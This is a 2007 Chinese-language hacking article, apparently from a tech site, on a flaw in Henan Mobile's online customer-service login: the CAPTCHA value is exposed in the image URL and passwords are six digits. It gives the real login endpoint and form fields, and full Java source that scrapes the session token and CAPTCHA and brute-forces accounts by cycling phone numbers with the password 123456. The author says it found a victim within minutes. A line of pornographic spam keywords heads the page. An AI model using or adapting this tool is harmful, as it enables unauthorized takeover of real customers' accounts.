欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

河南移動網(wǎng)絡(luò)客服系統(tǒng)驗(yàn)證碼的缺陷分析和利用!

 更新時(shí)間:2007年01月16日 00:00:00   作者:  
先聲明哦 本文沒有技術(shù)含量---只是為了證明java也可以作破解工具

  中國移動的在線客服系統(tǒng)大家應(yīng)該非常熟悉,因?yàn)槲沂且苿又覍?shí)的河南用戶,自然就從河南移動說起.在移動大廳辦理過業(yè)務(wù)的用戶都很清楚,用戶密碼只能設(shè)置成6位數(shù)0~9.而網(wǎng)上服務(wù)系統(tǒng)和移動的核心數(shù)據(jù)庫是同步的,密碼也只能局限為6位數(shù)字.如此簡單的密碼組合非常適合暴力破解.
  我們來分析一下暴力破解的可行性.首先,系統(tǒng)對當(dāng)天登錄的次數(shù)要沒有限制,我隨便輸入一個(gè)手機(jī)號測試系統(tǒng)容錯(cuò)次數(shù).我試了十次,依然可以進(jìn)入登錄界面(yes~有戲).接下來,分析系統(tǒng)登錄需要提交的關(guān)鍵字段.來看看登錄頁面http://khfw.ha.chinamobile.com/new_wskf/login/login_portal.jsp
__________________________________________
.....................
<form method="post" name="thisform" 
//post 方式提交數(shù)據(jù)
...........
action="/servlet/com.huawei.icd30.wskf.login.LoginCheck"> -->
//處理登錄事件的servlet 看來是它接收的參數(shù).
    <input type="hidden" name="forwardFlag" value="0">
  //關(guān)鍵字段 forwardFlag 不知道什么用處,但多次刷新頁面無改變     
<input type="hidden" name="transaction" value="3">
  // 關(guān)鍵字段 transaction 同上 
<input type="hidden" name="ssRandomPass" value="dNZjN/vfR4HwMACDVqhncQ==" >
  //關(guān)鍵字段 ssRandomPass 每次刷新得到新的隨機(jī)值,在頁面無顯示
  //可能是身份識別的隱含信息
......................
      //以下是用戶提交的表單內(nèi)容
<td><input type="text" name="userName" size="14"
      //呵呵 手機(jī)號
<td><input type="password" name="passWord" 
  //手機(jī)密碼
<td><input name="randomPassword" type="text"
  //圖片驗(yàn)證碼
.......................................
___________________________________


綜上得post內(nèi)容為:forwardFlag=0&transaction=3&ssRandomPassdNZjN/vfR4HwMACDVqhncQ==
&userName=135********&passWord=******&randomPassword=****

passWord是我們要猜解的內(nèi)容,如何鎖定randomPassword(驗(yàn)證碼)是關(guān)鍵.具體就是如何對圖片驗(yàn)證碼做解析.說到這里就不得不提一下,在沒有驗(yàn)證碼的時(shí)代,許多暴力破解軟件非常流行,對于入侵大多數(shù)郵件服務(wù)器和論壇是非常行之有效的方法.也捧紅了一批經(jīng)典破解軟件,如流光,溯雪.(呵呵,都是值得珍藏的文物)
  我們來看看這里的驗(yàn)證碼是如何生成的右鍵單擊驗(yàn)證碼圖片.哈哈,我們看到了什么?http://khfw.ha.chinamobile.com/s ... let?randomPass=9814<--這是不正是我們的驗(yàn)證碼值嗎?
我們訪問com.huawei.icd30.wskf.console.ImageServlet應(yīng)用改變r(jià)andomPass的值為1111 呵呵,不出所料生成了數(shù)值為1111的圖片.由此可見,登錄驗(yàn)證程序和驗(yàn)證碼的生成是兩個(gè)應(yīng)用.由返回的登錄頁面?zhèn)鬟f參數(shù)請求com.huawei.icd30.wskf.console.ImageServlet生成驗(yàn)證碼.

到這里我們的分析工作就算完成了.如何用程序?qū)崿F(xiàn)暴力破解沒有技術(shù)難度.我寫了一個(gè)java版的application win2000下編譯測試成功,效仿一些QQ破解模式,密碼為123456,不斷變換猜解手機(jī)號,10分鐘不到就找到了一個(gè)密碼為123456的用戶. 


******本代碼只做研究,對于該程序可能造成的后果本人概不負(fù)責(zé)********


源代碼如下:
--------------



import java.net.*;
import java.io.*;

public class Result
{

public static String ssRandomPass,randomPassword;
public static int passWord=123456,num=00000;
//設(shè)置六位手機(jī)密碼和手機(jī)后五位號碼

public static void main(String args[]){

while(true)
{
    check();
//該函數(shù)捕獲登錄頁面關(guān)鍵字段

    try {
    URL url = new URL("http://khfw.ha.chinamobile.com/servlet/com.huawei.icd30.wskf.login.LoginCheck");;
    URLConnection connection = url.openConnection();
    connection.setDoOutput(true);

    OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "8859_1");

    out.write("forwardFlag=0&transaction=3&ssRandomPass="+ssRandomPass+"&userName=
135286"+num+"&"+"passWord="+passWord+"&randomPassword="+randomPassword);//這里組織提交信息
    out.flush();
    out.close();
    //獲取返回?cái)?shù)據(jù)

    BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
    String line = null;
    StringBuffer content= new StringBuffer();
    while((line = in.readLine()) != null)

   {
         //line為返回值,這就可以判斷是否成功、

      content.append(line);
   }

   in.close() ;
   in=null;
   url=null;
   String msg = content.toString();

   System.err.println("Back code:"+msg.length()+" check passwd:"+passWord);
   System.err.println("check num:135256"+num);
   if(msg.length()==412|num==99999)
   {
     System.err.println("Get one phonenumber");  
           System.err.println(msg);
    break;
   }
      // passWord++;
       num++;

} catch (MalformedURLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}

}
}

public static void check()
{
        StringBuffer ssR = new StringBuffer();
        StringBuffer rand = new StringBuffer();
         try {
    URL url = new URL("http://khfw.ha.chinamobile.com/new_wskf/login/login_portal.jsp");
    URLConnection connection = url.openConnection();
    connection.setDoOutput(true);

    OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "8859_1");
    out.write("?");
    out.flush();
    out.close();
    //獲取返回?cái)?shù)據(jù)

    BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
    String line = null;
    StringBuffer content= new StringBuffer();
    while((line = in.readLine()) != null)

   {
         //line為返回值,這就可以判斷是否成功、
      content.append(line);
   }

   in.close() ;
   in=null;
   url=null;
   String msg = content.toString();

   for (int i=0;i<=23;i++)
   ssR.append(msg.charAt(1534+i));
   ssRandomPass=ssR.toString();
   System.err.println(ssR.toString());

   for (int i=0;i<=3;i++)
   rand.append(msg.charAt(2492+i));
   randomPassword=rand.toString();
   System.err.println(rand.toString());

   
   //System.err.println(msg);
   } catch (MalformedURLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}

}

}

相關(guān)文章

最新評論